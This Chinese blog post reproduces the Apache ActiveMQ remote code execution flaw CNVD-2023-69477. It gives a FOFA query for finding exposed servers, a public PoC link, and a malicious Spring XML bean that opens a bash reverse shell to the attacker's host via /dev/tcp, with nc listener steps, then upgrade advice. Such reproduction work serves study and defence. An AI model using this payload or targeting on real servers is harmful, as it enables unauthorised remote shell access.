当前位置: 首页 > news >正文

Apache ActiveMQ RCE漏洞复现(CNVD-2023-69477)

0x01 产品简介

  ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。

0x02 漏洞概述

 Apache ActiveMQ 中存在远程代码执行漏洞,Apache ActiveMQ在默认安装下开放了61616服务端口,而该端口并没有对传入数据进行适当的过滤,从而使攻击者能够构造恶意数据以实现远程代码执行。

0x03 影响范围

Apache ActiveMQ < 5.18.3

Apache ActiveMQ < 5.17.6

Apache ActiveMQ < 5.16.7

Apache ActiveMQ < 5.15.16 

0x04 复现环境

FOFA:app="APACHE-ActiveMQ" && port="61616"

b1d19830b3eb42439cf5a379fdb8f821.png

0x05 漏洞复现

PoC地址:https://github.com/trganda/ActiveMQ-RCE

把项目Get到本地,导入IDEA中运行

74854985a16d47dfae882dd50decf702.png

 直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11

PS:这种一般是你idea的 配置文件iml 与 项目中 配置的jdk版本是不一致导致的

6cbc9d691fe548ccbca9e68eb61b210d.png

这里需要安装jdk11,配置项目

3a5ae44b65144c05bed9c8d823556339.png

 漏洞利用

修改Main.java以下两处

f48ef75660ff44cb9caa860d0ee83b35.png

反弹shell 

将rce.xml,上传至vps

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean>

利用python开启http服务 

79b958ad02784db9a00e76e8ee75a551.png

nc开启监听

7d5fea03fec84a4b84b45b84922c4465.png

运行Main.java

499c87a5b2c54c4997bf538ca9a717cf.png

成功反弹shell

2618ec354d534345bbf22d0d8b813d8b.png

2adaf923474647acbfcde701749e153f.png

0x06 修复建议 

临时缓解方案

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到:

Apache ActiveMQ >= 5.18.3

Apache ActiveMQ >= 5.17.6

Apache ActiveMQ >= 5.16.7

Apache ActiveMQ >= 5.15.16

https://github.com/apache/activemq/tags

 

http://www.lryc.cn/news/209038.html

相关文章:

  • 【BUG】Nginx转发失败解决方案
  • 综合OA管理系统源码 OA系统源码
  • 9-MySQL提高数据管理效率(分库分表实践)
  • 经典卷积神经网络 - NIN
  • leetcode_2558 从数量最多的堆取走礼物
  • 01. 嵌入式与人工智能是如何结合的?
  • vue3.0运行npm run dev 报错Cannot find module node:url
  • 26. 删除排序数组中的重复项、Leetcode的Python实现
  • 荣耀推送服务消息分类标准
  • [数据结构]-二叉搜索树
  • 力扣每日一题79:单词搜索
  • ChatGPT如何应对用户提出的道德伦理困境?
  • SpringBoot运行流程源码分析------阶段三(Spring Boot外化配置源码解析)
  • 环形链表-力扣
  • 人生岁月年华
  • 电脑QQ如何录制视频文件?
  • python:多波段遥感影像分离成单波段影像
  • 天堂2游戏出错如何解决
  • 『力扣刷题本』:合并两个有序链表(递归解法)
  • C++设计模式_12_Singleton 单件模式
  • 67 内网安全-域横向smbwmi明文或hash传递
  • 面向对象(类/继承/封装/多态)详解
  • 【Python机器学习】零基础掌握GradientBoostingRegressor集成学习
  • 【tio-websocket】12、应用层包—Packet
  • OpenCV官方教程中文版 —— 模板匹配
  • 如何为3D模型设置自发光材质?
  • UI组件库基础
  • 数据结构与算法之矩阵: Leetcode 48. 旋转矩阵 (Typescript版)
  • 大厂面试题-JVM中的三色标记法是什么?
  • Leetcode—121.买卖股票的最佳时机【简单】